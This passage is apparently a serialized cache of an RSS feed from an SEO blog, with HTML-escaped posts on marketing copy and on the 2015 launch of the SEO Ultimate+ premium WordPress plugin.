alt=\&quot;Consumers Can See Through the Bait\&quot;&gt;&lt;/div&gt;\n&lt;/figure&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot;&gt;\n&lt;p&gt;You Can&amp;#8217;t Be Serious?&lt;br data-mce-bogus=\&quot;1\&quot;/&gt;&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row last_row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;Let&amp;#8217;s face it, times have changed and what worked yesterday has no guarantee of remaining relevant and working tomorrow.&lt;/p&gt;\n&lt;p&gt;What most of us often overlook is that as the web evolves so does our nervous system and how it maps the priorities of how we communicate. Essentially, we develop blinders to keep us sane from information overload.&lt;/p&gt;\n&lt;p&gt;Just like banner blindness is real, your ads, links, headlines, images and everything else &lt;em&gt;needs to be more human than ever&lt;/em&gt; and have a more &lt;strong&gt;down to earth appeal&lt;/strong&gt; vs. I&amp;#8217;m selling you something (as if you don&amp;#8217;t know it) if you ever want to see genuine conversions (which is why native advertising has displaced traditional ads).&lt;/p&gt;\n&lt;p&gt;Yesterday&amp;#8217;s marketing founded from the Madmen in the 60&amp;#8217;s in today&amp;#8217;s cinema plays like a bad dream we&amp;#8217;ve been stuck in and trying to wake up from. &lt;/p&gt;\n&lt;p&gt;The speaking at you vs. to speaking to you was blatantly overstated by them telling you what to do rather than listening and responding to your needs.&lt;/p&gt;\n&lt;p&gt;So&amp;#8230;making the shift from the old paradigm to the new paradigm of marketing is the basis of true engagement (&lt;em&gt;without offending your audiences intelligence)&lt;/em&gt; as well as one of the safest ways to promote your brand while preserving its integrity.&lt;/p&gt;\n&lt;p&gt;So, I challenge you to &lt;strong&gt;go back through your copy&lt;/strong&gt;, your website and your communications and see whether or not you were writing it for YOU or for your CUSTOMERS?&lt;/p&gt;\n&lt;p&gt;Just realize, it&amp;#8217;s not too late&amp;#8230; it&amp;#8217;s just time to dust off your keyboard and make some worthwhile edits to boost conversions.&lt;/p&gt;\n&lt;p&gt;The million dollar question is, are you writing what you THINK they want to hear, or communicating with clarity that they need to make an informed purchase?&lt;/p&gt;\n&lt;p&gt;Until the next time.&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=h51XQfdCDXU:sgo_RwnERfM:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/h51XQfdCDXU\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:8;a:13:{s:5:\&quot;title\&quot;;s:58:\&quot;SEO Ultimate Launches Premium Version Called SEO Ultimate+\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/CLbuMSbKLvM/\&quot;;s:8:\&quot;category\&quot;;s:120:\&quot;WordPress SEOSEOSEO UltimateSEO Ultimate Goes PremiumSEO Ultimate WordPress Plugin UpdatedWordPressWordPress SEO Pluginm\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Tue, 30 Jun 2015 02:46:59 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9485\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:10438:\&quot;&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;We&amp;#8217;re feeling SUPER (no tens inpunded&amp;#8230;) and just wanted to give you all a quick &lt;strong&gt;heads up&lt;/strong&gt; that there&amp;#8217;s a new version of &lt;strong&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; Ultimate Version 7.6.5.7&lt;/strong&gt; available for download from the &lt;a href=\&quot;https://wordpress.org/plugins/seo-ultimate/\&quot;&gt;WordPress repository&lt;/a&gt; or via your WordPress plugin dashboard.&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot;&gt;&lt;iframe style=\&quot;height: 400px;\&quot; src=\&quot;//fast.wistia.net/embed/iframe/qd5yjgfos1?videoFoam=true\&quot; allowtransparency=\&quot;true\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; class=\&quot;wistia_embed\&quot; name=\&quot;wistia_embed\&quot; allowfullscreen=\&quot;\&quot; mozallowfullscreen=\&quot;\&quot; webkitallowfullscreen=\&quot;\&quot; oallowfullscreen=\&quot;\&quot; msallowfullscreen=\&quot;\&quot; width=\&quot;700\&quot; height=\&quot;398\&quot;&gt;&lt;/iframe&gt;&lt;script src=\&quot;//fast.wistia.net/assets/external/E-v1.js\&quot;&gt;&lt;/script&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot;&gt;The video above covers the free update, however, to see the premium version, keep scrolling ;)&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;As the numeric code implies (since it&amp;#8217;s only incremental) that even though there were some &lt;em&gt;minor bug fixes&lt;/em&gt;, this was mostly a cosmetic update to the plugin. &lt;/p&gt;\n&lt;p&gt;You&amp;#8217;ll find a few new resources and tools available for you in the SEO Admin Bar &lt;strong&gt;that we cover in the video above&lt;/strong&gt;. Also, we&amp;#8217;ve also covered some of the new tools that are accessible from the SEO admin bar. &lt;/p&gt;\n&lt;p&gt;&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-left\&quot;&gt;\n&lt;h1&gt;SEO Ultimate Goes Premium!&lt;/h1&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;Granted, truth be told, the real heavy lifting from this point on is going into &lt;strong&gt;the premium version of the plugin&lt;/strong&gt; called &lt;a href=\&quot;https://www.seoultimateplus.com\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com\&quot;&gt;SEO Ultimate+&lt;/a&gt;. We&amp;#8217;re not going to pull any features, but all new ones move to +.&lt;/p&gt;\n&lt;p&gt;For example, there&amp;#8217;s over 7 months of coding time on one module to rewrite the base code of the Open Graph Integrator which has now shifted into its next embodiment&amp;#8230;. (&lt;em&gt;like a caterpillar to a butterfly&lt;/em&gt;) the &lt;strong&gt;OpenGraph+ Module&lt;/strong&gt; which you can &lt;a href=\&quot;https://www.seoultimateplus.com/screencaps/\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com/screencaps/\&quot;&gt;see here&lt;/a&gt;, with features like &amp;#8230;&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-center\&quot;&gt;\n&lt;h3 style=\&quot;font-size:34px;font-family:Open Sans;color:#222222;margin-top:15px;margin-bottom:10px;\&quot;&gt;&lt;strong&gt;Enjoy Simple, Easy-to-Implement Twitter Cards!&lt;/strong&gt;&lt;/h3&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/twitter-summary-card.jpg\&quot; class=\&quot;image-module img-responsive square img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;Create All 7 Twitter Cards with SEO Ultimate+\&quot;&gt;&lt;/div&gt;\n&lt;/figure&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot; style=\&quot;margin-top:5px;\&quot;&gt;\n&lt;p&gt;Now You Can Make Twitter Cards (all 7 types) with Ease! With No Fuss and No Mess!&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot; style=\&quot;padding-top:5px;\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-center\&quot;&gt;\n&lt;h3 style=\&quot;font-size:34px;font-family:Open Sans;color:#222222;margin-top:15px;margin-bottom:25px;\&quot;&gt;&lt;strong&gt;More Powerful Page Level Settings&lt;/strong&gt;&lt;/h3&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot; style=\&quot;margin-top:20px;margin-bottom:20px;\&quot;&gt;\n&lt;p&gt;The premium version &lt;strong&gt;&lt;a href=\&quot;https://www.seoultimateplus.com\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com\&quot;&gt;SEO Ultimate+&lt;/a&gt;&lt;/strong&gt; handles Google+ customization, &lt;strong&gt;Open Graph / Facebook&lt;/strong&gt; integration (on a page-by-page, post-by-post or mass edits 100 pages at a time).&lt;/p&gt;\n&lt;p&gt;You can create all 7 types of Twitter cards&amp;#8230;&lt;strong&gt;like a BOSS &lt;/strong&gt;(&lt;em&gt;that validate flawlessly&lt;/em&gt;) as well as there&amp;#8217;s a powerful new arsenal of &lt;strong&gt;rich snippets &lt;/strong&gt;to shoot up the SERPs ranging from &lt;strong&gt;Local SEO (Business), Events, Organization, People, Products, Recipes, Reviews, Software&lt;/strong&gt; and &lt;strong&gt;Video&lt;/strong&gt; (with more to come).&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/Local-Page-Rich-Snippets.png\&quot; class=\&quot;image-module img-responsive square img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;SEO Ultimate Page Level Rich Snippets\&quot;&gt;&lt;/div&gt;&lt;figcaption&gt;\n&lt;div class=\&quot;view-more\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/Local-Page-Rich-Snippets.png\&quot; class=\&quot;pretty-view clearfix\&quot; data-rel=\&quot;prettyPhoto\&quot;&gt;View more&lt;/a&gt;&lt;/div&gt;\n&lt;/figcaption&gt;&lt;/figure&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot; style=\&quot;margin-top:20px;margin-bottom:20px;\&quot;&gt;\n&lt;p&gt;There’s even a global fallback in SEO Ultimate+ in case you forget to add custom OG data at the page level where you can assign entire post types to as rules to a specific Open Graph type or specific type of Twitter Cards (&lt;a href=\&quot;https://dev.twitter.com/cards/types\&quot; data-mce-href=\&quot;https://dev.twitter.com/cards/types\&quot;&gt;all 7 twitter cards&lt;/a&gt; are available and validate).&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-center\&quot;&gt;\n&lt;h3 style=\&quot;font-size:34px;font-family:Open Sans;color:#222222;margin-top:15px;margin-bottom:25px;\&quot;&gt;&lt;strong&gt;Global Post Type Customization for Open Graph and Twitter Cards.&lt;/strong&gt;&lt;/h3&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/7-Twitter-Card-Types-1200x622.png\&quot; class=\&quot;image-module img-responsive square img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;Create Valid Twitter Cards with Ease\&quot;&gt;&lt;/div&gt;&lt;figcaption&gt;\n&lt;div class=\&quot;view-more\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/7-Twitter-Card-Types-1200x622.png\&quot; class=\&quot;pretty-view clearfix\&quot; data-rel=\&quot;prettyPhoto\&quot;&gt;View more&lt;/a&gt;&lt;/div&gt;\n&lt;/figcaption&gt;&lt;/figure&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row last_row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-center\&quot;&gt;\n&lt;h3 style=\&quot;font-size:34px;font-family:Open Sans;color:#222222;margin-top:15px;margin-bottom:25px;\&quot;&gt;&lt;strong&gt;The New (Premium) OpenGraph+ Module and 7 New Rich Snippets&lt;/strong&gt;&lt;/h3&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;You can also mass edit pages and posts (up to 100 entries at a time and customize unique titles, meta descriptions, Open Graph, Google+, FB and Twitter inputs).&lt;/p&gt;\n&lt;p&gt;Now that’s something you can’t do with the FREE version of SEO Ultimate…since it only has rich-snippets for &lt;em&gt;place&lt;/em&gt; and &lt;em&gt;review&lt;/em&gt; ;( and sorry guys &lt;strong&gt;no new features on the free version from now on&lt;/strong&gt;, only bug fixes as all new feature development is moving exclusively the premium version SEO Ultimate+.&lt;/p&gt;\n&lt;p&gt;In any case, this is only the beginning and we’ll be adding new features to SEO Ultimate plus, but don’t worry, there’s still plenty of horsepower in the free version (which you can get &lt;a href=\&quot;https://seodesignframework.leadpages.net/seo-ultimate-video-training/\&quot; data-mce-href=\&quot;https://seodesignframework.leadpages.net/seo-ultimate-video-training/\&quot;&gt;FREE video training&lt;/a&gt; for here). Before we leave, we&amp;#8217;ll let you play the quick and dirty version of the OpenGraph+ Module video.&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot; style=\&quot;margin-top:35px;margin-bottom:35px;\&quot;&gt;&lt;iframe style=\&quot;height: 313px;\&quot; src=\&quot;//fast.wistia.net/embed/iframe/hocfwbb6rd?videoFoam=true\&quot; allowtransparency=\&quot;true\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; class=\&quot;wistia_embed\&quot; name=\&quot;wistia_embed\&quot; allowfullscreen=\&quot;\&quot; mozallowfullscreen=\&quot;\&quot; webkitallowfullscreen=\&quot;\&quot; oallowfullscreen=\&quot;\&quot; msallowfullscreen=\&quot;\&quot; width=\&quot;650\&quot; height=\&quot;311\&quot;&gt;&lt;/iframe&gt;&lt;script src=\&quot;//fast.wistia.net/assets/external/E-v1.js\&quot;&gt;&lt;/script&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;But, if you haven’t already, let us know what you think by clicking here and &lt;a href=\&quot;https://wordpress.org/support/view/plugin-reviews/seo-ultimate\&quot; data-mce-href=\&quot;https://wordpress.org/support/view/plugin-reviews/seo-ultimate\&quot;&gt;leaving us a review on WordPress&lt;/a&gt; ;) or you can show your support by purchasing &lt;a href=\&quot;https://www.seoultimateplus.com/product/seo-ultimate-plus/\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com/product/seo-ultimate-plus/\&quot;&gt;SEO Ultimate+&lt;/a&gt; for its powerful new features, training and support.&lt;/p&gt;\n&lt;p&gt;If you&amp;#8217;re looking&amp;nbsp; to build a new site, make sure to try SEO Ultimate&amp;#8217;s companion product the &lt;a href=\&quot;http://www.seodesignframework.com\&quot; data-mce-href=\&quot;http://www.seodesignframework.com\&quot;&gt;SEO Design Framework&lt;/a&gt;. &lt;/p&gt;\n&lt;p&gt;Thanks for stopping in&amp;#8230; since we can&amp;#8217;t read it, let us know what&amp;#8217;s on your mind. &lt;/p&gt;\n&lt;p&gt;Leave a comment below or share this post socially to get the word out about &lt;em&gt;&lt;strong&gt;our soft launch for SEO Ultimate+ &lt;/strong&gt;&lt;/em&gt;(up, up and away).&lt;/p&gt;\n&lt;p&gt;We look forward to hearing from you or you can be stealthy and just &lt;a href=\&quot;https://twitter.com/@jeffrey_smith\&quot; data-mce-href=\&quot;https://twitter.com/@jeffrey_smith\&quot;&gt;follow me on twitter&lt;/a&gt; instead.&lt;/p&gt;\n&lt;p&gt;All the best!&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=CLbuMSbKLvM:2zGIgKikAM0:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/CLbuMSbKLvM\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:515:\&quot;We&amp;#8217;re feeling SUPER (no tens inpunded&amp;#8230;) and just wanted to give you all a quick heads up that there&amp;#8217;s a new version of SEO Ultimate Version 7.6.5.7 available for download from the WordPress repository or via your WordPress plugin dashboard. The video above covers the free update, however, to see the premium version, keep scrolling &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/new-update-plus-seo-ultimate-is-going-premium-up-up-and-away/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:3:\&quot;wfw\&quot;;a:1:{s:10:\&quot;commentrss\&quot;;s:119:\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/new-update-plus-seo-ultimate-is-going-premium-up-up-and-away/feed/\&quot;;}s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;3\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:114:\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/new-update-plus-seo-ultimate-is-going-premium-up-up-and-away/\&quot;;}s:7:\&quot;summary\&quot;;s:515:\&quot;We&amp;#8217;re feeling SUPER (no tens inpunded&amp;#8230;) and just wanted to give you all a quick heads up that there&amp;#8217;s a new version of SEO Ultimate Version 7.6.5.7 available for download from the WordPress repository or via your WordPress plugin dashboard. The video above covers the free update, however, to see the premium version, keep scrolling &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/new-update-plus-seo-ultimate-is-going-premium-up-up-and-away/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:10438:\&quot;&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;We&amp;#8217;re feeling SUPER (no tens inpunded&amp;#8230;) and just wanted to give you all a quick &lt;strong&gt;heads up&lt;/strong&gt; that there&amp;#8217;s a new version of &lt;strong&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; Ultimate Version 7.6.5.7&lt;/strong&gt; available for download from the &lt;a href=\&quot;https://wordpress.org/plugins/seo-ultimate/\&quot;&gt;WordPress repository&lt;/a&gt; or via your WordPress plugin dashboard.&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot;&gt;&lt;iframe style=\&quot;height: 400px;\&quot; src=\&quot;//fast.wistia.net/embed/iframe/qd5yjgfos1?videoFoam=true\&quot; allowtransparency=\&quot;true\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; class=\&quot;wistia_embed\&quot; name=\&quot;wistia_embed\&quot; allowfullscreen=\&quot;\&quot; mozallowfullscreen=\&quot;\&quot; webkitallowfullscreen=\&quot;\&quot; oallowfullscreen=\&quot;\&quot; msallowfullscreen=\&quot;\&quot; width=\&quot;700\&quot; height=\&quot;398\&quot;&gt;&lt;/iframe&gt;&lt;script src=\&quot;//fast.wistia.net/assets/external/E-v1.js\&quot;&gt;&lt;/script&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot;&gt;The video above covers the free update, however, to see the premium version, keep scrolling ;)&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;As the numeric code implies (since it&amp;#8217;s only incremental) that even though there were some &lt;em&gt;minor bug fixes&lt;/em&gt;, this was mostly a cosmetic update to the plugin. &lt;/p&gt;\n&lt;p&gt;You&amp;#8217;ll find a few new resources and tools available for you in the SEO Admin Bar &lt;strong&gt;that we cover in the video above&lt;/strong&gt;. Also, we&amp;#8217;ve also covered some of the new tools that are accessible from the SEO admin bar. &lt;/p&gt;\n&lt;p&gt;&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-left\&quot;&gt;\n&lt;h1&gt;SEO Ultimate Goes Premium!&lt;/h1&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;Granted, truth be told, the real heavy lifting from this point on is going into &lt;strong&gt;the premium version of the plugin&lt;/strong&gt; called &lt;a href=\&quot;https://www.seoultimateplus.com\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com\&quot;&gt;SEO Ultimate+&lt;/a&gt;. We&amp;#8217;re not going to pull any features, but all new ones move to +.&lt;/p&gt;\n&lt;p&gt;For example, there&amp;#8217;s over 7 months of coding time on one module to rewrite the base code of the Open Graph Integrator which has now shifted into its next embodiment&amp;#8230;. (&lt;em&gt;like a caterpillar to a butterfly&lt;/em&gt;) the &lt;strong&gt;OpenGraph+ Module&lt;/strong&gt; which you can &lt;a href=\&quot;https://www.seoultimateplus.com/screencaps/\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com/screencaps/\&quot;&gt;see here&lt;/a&gt;, with features like &amp;#8230;&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-center\&quot;&gt;\n&lt;h3 style=\&quot;font-size:34px;font-family:Open Sans;color:#222222;margin-top:15px;margin-bottom:10px;\&quot;&gt;&lt;strong&gt;Enjoy Simple, Easy-to-Implement Twitter Cards!&lt;/strong&gt;&lt;/h3&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/twitter-summary-card.jpg\&quot; class=\&quot;image-module img-responsive square img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;Create All 7 Twitter Cards with SEO Ultimate+\&quot;&gt;&lt;/div&gt;\n&lt;/figure&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot; style=\&quot;margin-top:5px;\&quot;&gt;\n&lt;p&gt;Now You Can Make Twitter Cards (all 7 types) with Ease! With No Fuss and No Mess!&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot; style=\&quot;padding-top:5px;\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-center\&quot;&gt;\n&lt;h3 style=\&quot;font-size:34px;font-family:Open Sans;color:#222222;margin-top:15px;margin-bottom:25px;\&quot;&gt;&lt;strong&gt;More Powerful Page Level Settings&lt;/strong&gt;&lt;/h3&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot; style=\&quot;margin-top:20px;margin-bottom:20px;\&quot;&gt;\n&lt;p&gt;The premium version &lt;strong&gt;&lt;a href=\&quot;https://www.seoultimateplus.com\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com\&quot;&gt;SEO Ultimate+&lt;/a&gt;&lt;/strong&gt; handles Google+ customization, &lt;strong&gt;Open Graph / Facebook&lt;/strong&gt; integration (on a page-by-page, post-by-post or mass edits 100 pages at a time).&lt;/p&gt;\n&lt;p&gt;You can create all 7 types of Twitter cards&amp;#8230;&lt;strong&gt;like a BOSS &lt;/strong&gt;(&lt;em&gt;that validate flawlessly&lt;/em&gt;) as well as there&amp;#8217;s a powerful new arsenal of &lt;strong&gt;rich snippets &lt;/strong&gt;to shoot up the SERPs ranging from &lt;strong&gt;Local SEO (Business), Events, Organization, People, Products, Recipes, Reviews, Software&lt;/strong&gt; and &lt;strong&gt;Video&lt;/strong&gt; (with more to come).&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/Local-Page-Rich-Snippets.png\&quot; class=\&quot;image-module img-responsive square img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;SEO Ultimate Page Level Rich Snippets\&quot;&gt;&lt;/div&gt;&lt;figcaption&gt;\n&lt;div class=\&quot;view-more\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/Local-Page-Rich-Snippets.png\&quot; class=\&quot;pretty-view clearfix\&quot; 